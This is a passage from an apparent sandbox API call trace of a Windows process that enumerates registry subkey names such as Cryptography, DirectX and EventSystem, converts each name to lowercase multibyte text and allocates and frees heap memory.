Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x115c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x115b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x115c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x115b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x115c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x115b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x115c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.065] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x115b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.065] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x115b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x115c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x115b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x115c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x115b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x115c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.066] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x115b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.066] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x115c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x115b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x115c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x115b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x115b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x115c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.067] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x115b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0169.067] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x115c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x115b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x115c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x115b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x115c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x115b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x115c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.068] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x115b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.068] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x115c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0169.069] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.069] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.069] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.069] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.069] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x115b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0169.069] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.069] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x115c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0169.069] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.069] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.069] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.069] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.069] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x115b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0169.069] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.069] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x115c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x115b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x115c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x115b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0169.070] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.070] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.070] RegEnumKeyW (in: hKey=0x24, 